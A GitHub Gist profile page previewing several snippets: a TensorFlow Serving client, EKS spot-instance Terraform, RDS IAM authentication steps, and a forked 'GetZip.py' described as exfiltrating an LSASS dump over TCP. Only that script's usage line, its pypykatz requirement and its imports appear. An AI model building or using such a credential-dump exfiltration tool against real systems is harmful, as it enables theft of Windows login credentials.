Skip to content

Instantly share code, notes, and snippets.

View takenoko-str's full-sized avatar
🎯
Focusing

takenoko-str takenoko-str

🎯
Focusing
  • 35.07103745548258, 135.29974566562086
View GitHub Profile
from grpc.beta import implementations
import tensorflow as tf
from tensorflow_serving.apis import predict_pb2
from tensorflow_serving.apis import prediction_service_pb2
from PIL import Image
import numpy as np
tf.app.flags.DEFINE_string('server', 'localhost:9000',
@takenoko-str
takenoko-str / gist:08c93ae9376ad5b7da60839924baacef
Created September 25, 2019 10:27 — forked from cablespaghetti/gist:54de0ae93449e4698f0206a0e85514be
Example terraform for ASG with spot instances
#
# Configuration for Autoscaling group.
#
resource "aws_launch_template" "eks-cluster-worker-nodes" {
iam_instance_profile = { name = "${aws_iam_instance_profile.eks-cluster-worker-nodes.name}" }
image_id = "${data.aws_ami.eks-worker.id}"
name = "${var.cluster-name}-eks-cluster-worker-nodes"
vpc_security_group_ids = ["${aws_security_group.eks-cluster-worker-nodes.id}"]
key_name = "${var.ssh-key-name}"
instance_type = "${local.host-types[0]}"
@takenoko-str
takenoko-str / GetZip.py
Created October 3, 2021 07:34 — forked from snovvcrash/GetZip.py
Exfiltrate LSASS dump over TCP
#!/usr/bin/env python3
# Usage: GetZip.py 0.0.0.0 1337 [--xor 255] --md5 --parse
# Requirements: pip3 install tqdm pypykatz
import os
import socket
import zipfile
import hashlib
from argparse import ArgumentParser

RDS Authentication via IAM User/Role

  1. Enable IAM Authentication in existing RDS using the link here: Enabling and Disabling IAM Database Authentication

  2. Login to RDS with master username password.

    mysql -h <RDS_ENDPOINT> --user <MASTER_USERNAME> --password